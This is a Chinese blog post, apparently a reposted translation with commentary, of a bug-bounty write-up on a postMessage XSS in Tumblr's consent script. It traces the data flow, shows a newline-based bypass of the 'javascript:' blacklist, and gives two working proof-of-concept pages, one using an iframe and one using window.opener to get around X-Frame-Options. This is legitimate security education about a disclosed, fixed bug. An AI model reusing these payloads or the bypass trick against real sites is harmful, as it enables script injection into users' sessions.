长亭百川云 - 文章详情

postMessageXss续2 - 飘渺红尘✨

博客园 - 飘渺红尘✨

28

2024-07-19

   原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

   在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html 

   这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。

   这篇文章的难点在于对source的构造。

   正文内容如下:

   在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:

var e = !1;
            function t(e) {
                var t = "string" == typeof e.data
                  , n \= e.data;
                if (t)
                    try {
                        n \= JSON.parse(e.data)
                    } catch (e) {}
                if (n && n.\_\_cmpCall) {
                    var r = n.\_\_cmpCall;
                    window.\_\_cmp(r.command, r.parameter, function(n, o) {
                        var a = {
                            \_\_cmpReturn: {
                                returnValue: n,
                                success: o,
                                callId: r.callId
                            }
                        };
                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "\*")
                    })
                }
            }

  为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:

 通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:

e.data <- n <- n.\_\_cmpCall <- r <- r.command && r.parameter

如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:

data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)

 两个逻辑处理分支:

(1)n = JSON.parse(e.data)
(2)window.\_\_cmp(.,.,.xxx

 第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串

 source套娃点,会传入__cmp(函数,跟进这个函数:

if (e)
                return {
                    init: function(e) {
                        if (!l.a.isInitialized())
                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                            p.uiUrl || p.organizationId)
                                if (c.a.isSafeUrl(p.uiUrl)) {
                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                    g.setGdpr("S"),
                                    g.setPublisherId(p.organizationId)),
                                    (t \= p.sharedConsentDomain) && r.a.init(t),
                                    s.a.setCookieDomain(p.cookieDomain);
                                    var n = s.a.getGdprApplies();
                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                    h(function(e) {
                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                        n || (e = !0),
                                        s.a.setIsUserInEU(e),
                                        e ? (g.setGdpr("L"),
                                        h(function(e) {
                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                        }, !0)) : l.a.initializationComplete()
                                    })
                                } else
                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http\[s\]://example.com/path/to/cmpui.html"');
// (...)

代码臭长臭长的,不要管,只要抓住重点 

(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点

(2)寻找潜在风险函数

发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:

isSafeUrl: function(e) {
           return -1 === (e = (e || "").replace(" ",
           "")).toLowerCase().indexOf("javascript:")
}

正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。

 这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。 

 这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。

 那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:

  通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

  跟进b函数:

b = function(e) {
            g.markConsentRenderStartTime();
            var n = p.uiUrl ? i.a : a.a;
            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                p.consentString \= t,
                n.renderConsents(p, function(n, t) {
                    g.setType("C").setGdprConsent(n).fire(),
                    w(n),
                    "function" == typeof e && e(n, t)
                })
            }) : n.renderConsents(p, function(n, t) {
                g.setType("C").setGdprConsent(n).fire(),
                w(n),
                "function" == typeof e && e(n, t)
            })

在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:

sink:
                    renderConsents: function(n, p) {
                        if ((t = n || {}).siteDomain = window.location.origin,
                            r \= t.uiUrl) {
                            if (p && u.push(p),
                                !document.getElementById("cmp-container-id")) {
                                (i \= document.createElement("div")).id = "cmp-container-id",
                                    i.style.position \= "fixed",
                                    i.style.background \= "rgba(0,0,0,.5)",
                                    i.style.top \= 0,
                                    i.style.right \= 0,
                                    i.style.bottom \= 0,
                                    i.style.left \= 0,
                                    i.style.zIndex \= 1e4,
                                    document.body.appendChild(i),
                                    (a \= document.createElement("iframe")).style.position = "fixed",
                                    a.src \= r,
                                    a.id \= "cmp-ui-iframe",
                                    a.width \= 0,
                                    a.height \= 0,
                                    a.style.display \= "block",
                                    a.style.border \= 0,
                                    i.style.zIndex \= 10001,
                                    l(),

(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载

  通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:

<script type="text/javascript">
            a \= document.createElement("iframe");
            a.src\="javascript:alert(1)"; //可控点
            document.body.appendChild(a);
        </script>

因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:

a = document.createElement("iframe");
a.src\="\\tjava\\nscr\\nipt:alert(1)"; //可控点
document.body.appendChild(a);

再次刷新:

在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。

对于最后的sink点位,原作者画出如下图:

这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。

最终的构造poc如下:

<html\><body\>
 
<script\>
window.setInterval(function(e) {
 try {
   window.frames\[0\].postMessage("{\\"\_\_cmpCall\\":{\\"command\\":\\"init\\",\\"parameter\\":{\\"uiUrl\\":\\"ja\\\\nvascript:alert(document.domain)\\",\\"uiCustomParams\\":\\"fdsfds\\",\\"organizationId\\":\\"siabada\\",\\"gdprAppliesGlobally\\":\\"fdfdsfds\\"}}}","\*");
 } catch(e) {}
}, 100);
</script\>
<iframe src\="https://consent.cmp.oath.com/tools/demoPage.html"\></iframe\>

难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。

其实到这里,这篇翻译文章算结束了。下面是扩展项:

只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:

X-Frame-Options 是什么?

X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe\> 中被嵌套,增强了安全性。以下是它的主要选项和含义:

不允许任何网页在 <iframe\> 中嵌套当前页面。
http
复制代码
X-Frame-Options: DENY
SAMEORIGIN:

只允许同源的网页在 <iframe\> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。
http
复制代码
X-Frame-Options: SAMEORIGIN

因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:

那么对于这种情况,原文作者是如何绕过的?

<html\><body\>
<script\>
function e() {
    window.setTimeout(function() {
        window.location.href\="https://www.tumblr.com/embed/post/";
    }, 500);
}
window.setInterval(function(e) {
 try {
   window.opener.postMessage("{\\"\_\_cmpCall\\":{\\"command\\":\\"init\\",\\"parameter\\":{\\"uiUrl\\":\\"ja\\\\nvascript:alert(document.domain)\\",\\"uiCustomParams\\":\\"fdsfds\\",\\"organizationId\\":\\"siabada\\",\\"gdprAppliesGlobally\\":\\"fdfdsfds\\"}}}","\*");
 } catch(e) {}
}, 100);
</script\>

<a onclick\="e()" href\="/tumblr.html" target\=\_blank\>Click me</a\>

这段代码绕过X-Frame-Options的核心概念如下:

攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:

如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。  
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金

虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。

TRANSLATE with x

English

Arabic

Hebrew

Polish

Bulgarian

Hindi

Portuguese

Catalan

Hmong Daw

Romanian

Chinese Simplified

Hungarian

Russian

Chinese Traditional

Indonesian

Slovak

Czech

Italian

Slovenian

Danish

Japanese

Spanish

Dutch

Klingon

Swedish

English

Korean

Thai

Estonian

Latvian

Turkish

Finnish

Lithuanian

Ukrainian

French

Malay

Urdu

German

Maltese

Vietnamese

Greek

Norwegian

Welsh

Haitian Creole

Persian

 

TRANSLATE with

COPY THE URL BELOW

Back

EMBED THE SNIPPET BELOW IN YOUR SITE

Enable collaborative features and customize widget: Bing Webmaster Portal

Back

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2